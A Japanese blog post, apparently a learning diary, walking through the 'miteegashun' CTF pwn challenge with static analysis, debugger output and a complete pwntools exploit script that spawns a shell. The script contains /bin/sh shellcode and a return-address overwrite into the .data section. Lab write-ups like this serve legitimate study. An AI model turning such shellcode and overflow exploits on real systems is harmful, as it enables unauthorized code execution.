newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 4.6】miteegashun - CSAW CTF 2014

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

shell-storm.org

 

 

1: イントロ

bataリスト

2013 CSAW CTF の baby 問題 "miteegashun"

 

2: 静的解析

./miteegashun: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=41bbe92f629cbca9784458456d94282b2d2fd9e0, stripped
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments


statically linked で stripped だからシンボルが何も解決されておらず

非常に読みにくい




3: プログラムの流れ

ユーザからの入力を改行があるまで1度受け取るだけ

ただしそれを受け取るbufは.dataセクション(0x80f0340)にある

 

あと変な部分は以下のところ

void user_input(void)

{
    undefined4 local_res0;
    
    *(undefined4 *)(&DAT_080f04d5 + DAT_080f0669_counter? * 0x4) = local_res0;
    DAT_080f0669_counter? = DAT_080f0669_counter? + 0x1;
    user_input_sub();
    DAT_080f0669_counter? = DAT_080f0669_counter? + -0x1;
    return;
}

関数呼び出しの前に.dataセクションにRAを保存するという

謎の呼び出し方をしている

おそらくタイトルのmitigationは

これでスタックオーバーフローでRAを書き換えることはできないだろ

って意味なのだと思う

 

但しおっちょこちょいなことに

そのスタックも.dataセクションにおいてあると来た

結局戦場がスタックから.dataセクションになっただけであり

しかもアドレスは固定だからリークする必要がないぶん楽

 

以下のように書き換えることができる

EDI: 0x8049770 (push   ebx)
EBP: 0x41414141 ('AAAA')
ESP: 0x80f0444 --> 0x11111111 
EIP: 0x8048f50 (ret)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f48:	lea    edx,[edx+ecx*4]
   0x8048f4b:	mov    eax,DWORD PTR [edx]
   0x8048f4d:	mov    DWORD PTR [esp],eax
=> 0x8048f50:	ret    
   0x8048f51:	mov    eax,DWORD PTR [esp]
   0x8048f54:	mov    ecx,DWORD PTR ds:0x80f0669
   0x8048f5a:	mov    edx,0x80f04d5
   0x8048f5f:	lea    edx,[edx+ecx*4]
[------------------------------------stack-------------------------------------]
0000| 0x80f0444 --> 0x11111111 
0004| 0x80f0448 ('A' , '\021' )
0008| 0x80f044c ('A' , '\021' )
0012| 0x80f0450 ('A' , '\021' )
0016| 0x80f0454 ('A' , '\021' )
0020| 0x80f0458 ('A' , '\021' )
0024| 0x80f045c ('A' , '\021' )
0028| 0x80f0460 ('A' , '\021' )



4: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./miteegashun"

rhp = {'host':"localhost",'port':12300}
context(os='linux',arch='i386')
binf = ELF(FILENAME)

#hard-corded in the binary
buf             = 0x80f0340
RAs_container_2   = 0x80f04d5
##[0]:
##[1]:preserved RA of main stack frame
##[2]:pusha instruction <-- ((target))
##[3]:
diff = RAs_container_2 - buf

#invoke /bin/sh
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

def exploit(conn):
  conn.recvuntil("\x00")
  
  #generate payload
  payload = p8(0x90) * 0x30 #NOP sled
  payload += shellcode
  payload += "A" * ((diff + 2*4) - len(payload))
  payload += p32(buf)*4
  
  #send payload and run
  conn.sendline(payload)  #must be sendline, not send

  #get the flag
  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
      b *0x08048f8f
      b *0x08048fd0
      b *0x8048f2c
      c
    """
    #0x8048f8f: main
    #0x8048f2c: 実際に入力を受け付けるところ
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()





5: 結果

f:id:smallkirby:20190826154216p:plain






続く・・・